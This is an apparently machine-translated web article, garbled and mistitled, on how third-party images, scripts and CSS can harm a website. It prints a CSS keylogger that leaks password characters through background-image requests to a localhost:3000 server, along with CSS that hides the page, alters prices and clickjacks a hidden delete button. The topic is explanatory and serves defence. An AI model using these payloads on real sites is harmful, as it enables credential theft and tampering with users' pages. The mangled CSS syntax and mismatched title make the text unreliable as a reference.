Menu
Is free
check in
home  /  Programs / Distribution of articles on the Internet. Options and their features

Distribution of articles on the Internet. Options and their features

Here's how you can harm your website using third-party CSS, JavaScript, and other resources from third-party servers.

At the end of February, a keylogger appeared on the network, partially using CSS. The attack with it is simple: for each character entered in a field with a specific type (for example, password), a request is generated to a third-party server, allegedly requesting a background image:

input (background-image: url ("http: // localhost: 3000 / a");)

background - image: url ("http: // localhost: 3000 / a");

The sequence of requests can be registered on the server and the entered password can be easily calculated.

In the process of discussing the problem, some suggested to the browser manufacturers to fix it. Someone noticed that the problem is relevant only for sites based on React-like frameworks, and shifted the blame to them.

Third-party pictures

< img src = "https://example.com/kitten.jpg">

If you add this kind of image to your site, you will be dependent on example.com. They can set you up different waysfor example, delete a picture - you get a 404 instead of an image. Or they can simply replace the image of a cat with something less pleasant.

You can warn your users that the image was added from a third-party resource and you have nothing to do with it. So you will protect yourself a little from trouble. But, of course, when you add a simple picture, you do not provide access to passwords.

Third party scripts

This example is much more interesting for example.com because by adding a script from their website you give them a lot more control over theirs. In this case example.com can:

  • Read / modify page content.
  • Track every user action.
  • Run code that is difficult to compute (for example, a cryptominer).
  • Request cookies.
  • Read / modify local storage.

In other words, now example.com can do a lot.

Interacting with local storage brings even more challenges in the future. A third party resource will have access to your site even after the script is removed from the page. If you add a third party script to your site, you must absolutely trust the source and its security.

If you still run into a bad script, try using the Clear-Site-Data header.

Third Party CSS

< link rel = "stylesheet" href = "https://example.com/style.css">

Third-party CSS-code for the impact on the site is located between the picture and the script. Someone else's CSS can:

  • Remove / change / add content on the page.
  • Make requests based on page content.
  • React to many user actions.

CSS will not be able to interact with local storage and the cryptominer will not embed it on the page, but it can do a lot of harm to the resource owner.

Keylogger

Modifying the CSS slightly from the beginning of the article:

input (background-image: url ("/ password? a");)

input [type \u003d "password"] [value $ \u003d "a"] (

background - image: url ("/ password? a");

This code will send data about the entered character "a" to the handler under the guise of a picture request. Repeat the code for each symbol and you already have a CSS keylogger.

By default, browsers do not store user-entered characters in the value attribute, so this trick will work when using something that synchronizes such values, such as.

Of course, this problem can be solved on the side of React and similar frameworks. But then only specific case, and the rest of the problems will remain.

Disappearing content

body (display: none;) html :: after (content: "HTTP Server Server Error";)

body (

display: none;

html :: after (

content: "HTTP Server Server Error";

This is, of course, a very peculiar example, but still a working one. Imagine if your users when they visit the site will see instead of the usual home page incomprehensible error. In the same way, third-party code can remove, for example, the "buy" button or make some other nuisance.

Adding content

Price-value :: before (content: "1";)

Price - value :: before (

content: "1";

And just like that, your prices skyrocketed.

Moving content

Delete-everything-button (opacity: 0; position: absolute; top: 500px; left: 300px;)

Delete - everything - button (

opacity: 0;

position: absolute;

top: 500px;

left: 300px;

Take a button that does something terrible and that the user won't just click, make it transparent and place it where the user will click.

Of course, if the button is doing something really important, the user will first see a warning dialog. But that's not a problem either: you just need more CSS. For example, you can change the content of the button "Oh my God, no!" To "Of course I'm sure."

Imagine the browser vendors fix the keylogger trick. Attackers simply put an extra text field on top of an important password field and they are back to work.

Reading attributes

Passwords are not necessarily stored in value and other attributes: an attacker may find something else interesting.